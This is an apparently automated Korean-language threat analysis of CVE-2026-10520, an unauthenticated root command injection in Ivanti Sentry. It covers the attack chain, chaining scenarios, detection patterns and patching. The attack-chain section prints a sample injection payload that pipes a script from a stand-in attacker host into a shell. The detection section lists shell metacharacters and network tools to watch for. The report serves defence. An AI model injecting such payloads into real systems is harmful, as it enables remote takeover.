[공격] 분석 — CVE-2026-10520

• 심각도 critical · CVSS 10.0 · EPSS 0.99889 · 악용난이도 easy · KEV

공격자는 인증되지 않은 상태에서 네트워크를 통해 직접 접근하여 OS 명령어를 주입한다. CVSS 벡터 AV:N/AC:L/PR:N/UI:N은 어떠한 사전 조건이나 사용자 상호작용 없이도 외부에서 즉시 트리거 가능함을 의미한다.

• 공격 표면 (Attack Surface):
  • 추정: HTTP/HTTPS 기반의 관리 인터페이스 또는 API 엔드포인트.
  • 취약 지점: 사용자 입력값이 쉘(Shell)로 전달되기 전 적절한 필터링이나 이스케이프 처리가 누락된 파라미터.
• 공격 체인 (Attack Chain):
  1. 정찰: Ivanti Sentry 서비스 포트 개방 여부 및 버전 확인.
  2. 초기 접근: 인증 절차를 우회하거나 인증이 필요 없는 엔드포인트에 특수하게 조작된 HTTP 요청 전송.
  3. 실행 및 권한 획득: OS Command Injection 페이로드를 통해 시스템 명령어 실행. 서비스가 root 권한으로 구동되므로, 별도의 권한 상승 과정 없이 즉시 최고 권한 쉘(Root Shell) 획득.
     • 개념 예시: ; curl http://attacker.com/shell.sh | sh 또는 `id` 와 같은 메타문자 주입.
  4. 지속 및 영향: root 권한을 이용해 백도어 설치, 시스템 설정 변경, 내부망 스캐닝 수행.
• 특이사항: 단순 RCE를 넘어 즉시 root 권한을 획득한다는 점이 치명적이며, 이는 일반적인 서비스 계정 권한 탈취보다 훨씬 강력한 제어권을 제공한다.

악용 가능성: 본 취약점은 인증되지 않은 외부 공격자가 네트워크를 통해 직접적으로 시스템 제어권을 획득할 수 있어, 실전 악용 가능성이 극도로 높은 상태입니다. CVSS 벡터(AV:N/AC:L/PR:N/UI:N)가 보여주듯 특수 권한이나 사용자 상호작용 없이 단순 네트워크 패킷 송신만으로 트리거되며, 이는 공격자가 타겟 시스템의 IP와 포트만 알면 즉시 공격이 가능함을 의미합니다. 특히 EPSS 점수가 0.99889에 달하고 KEV(Known Exploited Vulnerabilities)에 등재되었다는 점은 이론적 위험을 넘어 이미 야생에서 자동화된 스캐너와 익스플로잇이 광범위하게 유포되고 있음을 입증합니다. 공격 표면은 외부로 노출된 Ivanti Sentry의 HTTP/HTTPS 엔드포인트이며, 입력값 검증이 누락된 특정 파라미터를 통해 OS Command Injection을 유발하는 경로가 핵심입니다. 트리거 조건이 매우 단순하여 정찰 단계에서 취약한 버전 확인 후 즉시 페이로드를 주입할 수 있으며, 실행 시 바로 root 권한의 RCE(Remote Code Execution)로 이어지므로 공격 난이도는 'Easy' 수준으로 판정됩니다.

• 시스템 완전 장악: root 권한 획득으로 인한 기밀성, 무결성, 가용성의 완전한 상실.
• 내부망 교두보 확보: Sentry 서버를 거점으로 삼아 내부 네트워크의 다른 자산으로 이동하는 Lateral Movement의 핵심 경로로 활용될 가능성이 매우 높음.

단일 취약점만으로도 root RCE가 가능하여 체이닝의 필요성은 낮으나, 실전에서는 다음과 같은 흐름으로 확장될 수 있다.

• 정보 노출 $\rightarrow$ RCE (추정): 시스템 설정 파일이나 환경 변수 노출 취약점이 먼저 발견될 경우, OS Command Injection에 필요한 경로 및 실행 파일 위치를 정확히 파악하여 공격 성공률을 높이는 체이닝 가능.
• RCE $\rightarrow$ 권한 유지/확산 (추정): 획득한 root 권한을 이용해 AD/LDAP 연동 계정 정보를 탈취하거나, 메모리 내 상주형(Fileless) 악성코드를 심어 패치 이후에도 지속성을 유지하는 패턴.
• 네트워크 세분화 우회 (추정): DMZ에 위치한 Sentry 서버를 장악한 후, 내부망으로 연결된 신뢰 관계(Trust Relationship)를 이용하여 내부 핵심 서버로 접근하는 경로.

• 네트워크: HTTP 요청 본문 및 쿼리 스트링 내 쉘 메타문자(;, |, `, $()) 및 위험 명령어(whoami, id, curl, wget, bash) 포함 여부 모니터링.
• 호스트: Sentry 서비스 프로세스(Parent Process)가 비정상적인 자식 프로세스(예: /bin/sh, /bin/bash, nc)를 생성하는 행위 탐지. root 권한으로 생성된 생소한 네트워크 커넥션 확인.

• 즉시 조치: 외부에서 Sentry 서비스로의 접근을 즉시 차단(ACL 설정)하거나, WAF/IPS에서 OS Command Injection 패턴 필터링 적용.
• 근본 해결: 영향받는 버전(standalone_sentry < 10.5.2, 10.6.0 - 10.6.2 등)을 최신 보안 패치 버전으로 업데이트.

[분석 근거] 본 리포트는 다중 소스 교차검증을 통해 데이터 일관성이 확인되었으며, 실측 EPSS 값(0.99889)이 이론적 심각도와 별개로 실제 악용 가능성이 최고 수준임을 나타내고 있다. 특히 KEV 등재 및 exploit=easy 판정에 따라 우선순위를 immediate(24시간 내 대응)로 결정하였다.

• 조치: immediate (지금 즉시(24h 내))
• 근거: CVSS=10.0 · KEV · EPSS=0.99889 · exploit=easy · in_scope=None